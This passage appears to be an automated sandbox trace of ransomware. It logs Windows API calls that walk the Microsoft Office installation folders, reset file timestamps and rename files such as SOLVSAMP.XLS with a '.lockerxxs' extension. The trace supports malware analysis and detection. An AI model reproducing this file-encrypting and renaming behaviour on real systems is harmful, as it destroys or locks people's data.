Office\\Office14\\PROOF\\MSTH7EN.LEX") returned="MSTH7EN.LEX" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.DLL") returned="MSTH7ES.DLL" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX") returned="MSTH7ES.LEX" [0066.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.DLL") returned="MSTH7FR.DLL" [0066.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0066.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL") returned="PROPMGR.DLL" [0066.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL") returned="PROPRPT.DLL" [0066.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL") returned="PRTF9.DLL" [0066.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL") returned="PSTPRX32.DLL" [0066.486] lstrcmpA (lpString1=".", lpString2="PUBBA") returned -1 [0066.486] lstrcmpA (lpString1="..", lpString2="PUBBA") returned -1 [0066.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL") returned="PTXT9.DLL" [0066.487] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="PUBBA" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0066.487] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.490] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.490] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.490] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.490] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*.*") returned="*.*" [0066.491] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.491] CloseHandle (hObject=0x8c) returned 1 [0066.492] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\", lpString2="MSPUB10.BDR" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR" [0066.492] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR") returned="MSPUB10.BDR" [0066.492] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR") returned="MSPUB11.BDR" [0066.492] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR") returned="MSPUB1A.BDR" [0066.492] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR") returned="MSPUB1B.BDR" [0066.492] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR") returned="MSPUB2A.BDR" [0066.493] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR") returned="MSPUB2B.BDR" [0066.493] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR") returned="MSPUB3A.BDR" [0066.493] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR") returned="MSPUB3B.BDR" [0066.493] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR") returned="MSPUB4.BDR" [0066.493] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR") returned="MSPUB5A.BDR" [0066.494] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR") returned="MSPUB5B.BDR" [0066.494] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR") returned="MSPUB6.BDR" [0066.494] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR") returned="MSPUB7.BDR" [0066.494] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR") returned="MSPUB8.BDR" [0066.494] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0066.495] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL") returned="PUBCONV.DLL" [0066.495] lstrcmpA (lpString1=".", lpString2="PUBWIZ") returned -1 [0066.495] lstrcmpA (lpString1="..", lpString2="PUBWIZ") returned -1 [0066.495] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL") returned="PUBTRAP.DLL" [0066.495] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="PUBWIZ" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0066.495] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.498] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.499] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.499] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.499] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*.*") returned="*.*" [0066.502] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.502] CloseHandle (hObject=0x8c) returned 1 [0066.502] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\", lpString2="ACCSBAR.POC" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC" [0066.502] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC") returned="ACCSBAR.POC" [0066.502] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCTBOX.POC") returned="ACCTBOX.POC" [0066.502] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.DPV") returned="AD.DPV" [0066.503] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML") returned="AD.XML" [0066.503] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD98.POC") returned="AD98.POC" [0066.503] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ADRESPEL.POC") returned="ADRESPEL.POC" [0066.503] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AIR98.POC") returned="AIR98.POC" [0066.503] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AWARDHM.POC") returned="AWARDHM.POC" [0066.503] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BAN98.POC") returned="BAN98.POC" [0066.503] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.DPV") returned="BANNER.DPV" [0066.504] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML") returned="BANNER.XML" [0066.504] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BDRTKFUL.POC") returned="BDRTKFUL.POC" [0066.504] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.DPV") returned="BIZCARD.DPV" [0066.504] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML") returned="BIZCARD.XML" [0066.504] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV") returned="BIZFORM.DPV" [0066.504] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML") returned="BIZFORM.XML" [0066.505] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV") returned="BORDERBB.DPV" [0066.505] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC") returned="BORDERBB.POC" [0066.505] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC") returned="BRCH98SP.POC" [0066.505] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC") returned="BRCHUR11.POC" [0066.505] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC") returned="BRCHUR98.POC" [0066.505] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV") returned="BROCHURE.DPV" [0066.505] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML") returned="BROCHURE.XML" [0066.506] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC") returned="BS2BARB.POC" [0066.506] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC") returned="BS4BOXES.POC" [0066.506] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC") returned="BS53BOXS.POC" [0066.506] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC") returned="BZCARD11.POC" [0066.506] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC") returned="BZCARDHM.POC" [0066.506] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC") returned="BZCD98SP.POC" [0066.507] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCRD98.POC") returned="BZCRD98.POC" [0066.507] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.DPV") returned="CALENDAR.DPV" [0066.507] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML") returned="CALENDAR.XML" [0066.511] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC") returned="CALHM.POC" [0066.511] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC") returned="CALNDR98.POC" [0066.512] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC") returned="CALSO11.POC" [0066.512] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC") returned="CALSO98.POC" [0066.512] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV") returned="CATALOG.DPV" [0066.512] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML") returned="CATALOG.XML" [0066.512] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC") returned="CATWIZ.POC" [0066.512] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC") returned="CATWIZ11.POC" [0066.513] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV") returned="CERT.DPV" [0066.513] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML") returned="CERT.XML" [0066.513] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC") returned="CERT98.POC" [0066.513] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC") returned="CERT98SP.POC" [0066.513] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC") returned="CHECKER.POC" [0066.513] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV") returned="CONTACTINFOBB.DPV" [0066.514] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC") returned="CONTACTINFOBB.POC" [0066.514] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC") returned="COUPON.POC" [0066.514] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV") returned="DGACCBAR.DPV" [0066.517] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML") returned="DGACCBAR.XML" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV") returned="DGACCBOX.DPV" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML") returned="DGACCBOX.XML" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV") returned="DGAD.DPV" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML") returned="DGAD.XML" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV") returned="DGATNGET.DPV" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML") returned="DGATNGET.XML" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV") returned="DGBARBLL.DPV" [0066.518] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML") returned="DGBARBLL.XML" [0066.519] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV") returned="DGBORDER.DPV" [0066.519] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML") returned="DGBORDER.XML" [0066.519] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV") returned="DGBOXES.DPV" [0066.519] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML") returned="DGBOXES.XML" [0066.519] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV") returned="DGCAL.DPV" [0066.519] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML") returned="DGCAL.XML" [0066.519] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV") returned="DGCHKBRD.DPV" [0066.520] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML") returned="DGCHKBRD.XML" [0066.522] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML") returned="DGCINFO.XML" [0066.522] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV") returned="DGCOUPON.DPV" [0066.522] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML") returned="DGCOUPON.XML" [0066.522] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV") returned="DGDOTS.DPV" [0066.522] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML") returned="DGDOTS.XML" [0066.523] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML") returned="DGHEADING.XML" [0066.523] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV") returned="DGLINACC.DPV" [0066.523] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML") returned="DGLINACC.XML" [0066.523] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV") returned="DGLOGO.DPV" [0066.523] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML") returned="DGLOGO.XML" [0066.524] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML") returned="DGMAIN.XML" [0066.524] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV") returned="DGMARQ.DPV" [0066.524] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML") returned="DGMARQ.XML" [0066.524] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV") returned="DGMASTHD.DPV" [0066.524] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV") returned="DGNAVBAR.DPV" [0066.524] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML") returned="DGNAVBAR.XML" [0066.524] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV") returned="DGPICCAP.DPV" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML") returned="DGPICCAP.XML" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV") returned="DGPQUOT.DPV" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML") returned="DGPQUOT.XML" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV") returned="DGPUNCT.DPV" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML") returned="DGPUNCT.XML" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV") returned="DGREPFRM.DPV" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML") returned="DGREPFRM.XML" [0066.525] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV") returned="DGSIDEBR.DPV" [0066.526] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML") returned="DGSIDEBR.XML" [0066.526] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML") returned="DGSIDEBRV.XML" [0066.526] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML") returned="DGSTORY.XML" [0066.526] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML") returned="DGSTORYVERT.XML" [0066.554] lstrcmpA (lpString1=".", lpString2="QUERIES") returned -1 [0066.554] lstrcmpA (lpString1="..", lpString2="QUERIES") returned -1 [0066.554] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.557] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.557] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.557] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.559] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.559] CloseHandle (hObject=0x8c) returned 1 [0066.559] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\", lpString2="MSN MoneyCentral Investor Currency Rates.iqy" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy" [0066.565] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.565] CloseHandle (hObject=0x88) returned 1 [0066.565] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav.lockerxxs")) returned 1 [0066.566] lstrcmpA (lpString1=".", lpString2="SAMPLES") returned -1 [0066.566] lstrcmpA (lpString1="..", lpString2="SAMPLES") returned -1 [0066.566] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.567] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.568] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.568] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.569] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.569] CloseHandle (hObject=0x8c) returned 1 [0066.569] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\", lpString2="SOLVSAMP.XLS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" [0066.569] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS", pszSpec="*.ems") returned 0 [0066.575] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.575] CloseHandle (hObject=0x8c) returned 1 [0066.575] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls.lockerxxs")) returned 1 [0066.611] lstrcmpA (lpString1=".", lpString2="STARTUP") returned -1 [0066.611] lstrcmpA (lpString1="..", lpString2="STARTUP") returned -1 [0066.611] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.612] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.612] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.612] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.614] lstrcmpA (lpString1=".", lpString2="Visio Content") returned -1 [0066.614] lstrcmpA (lpString1="..", lpString2="Visio Content") returned -1 [0066.614] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.615] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.615] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.615] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.615] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0066.615] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0066.615] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, 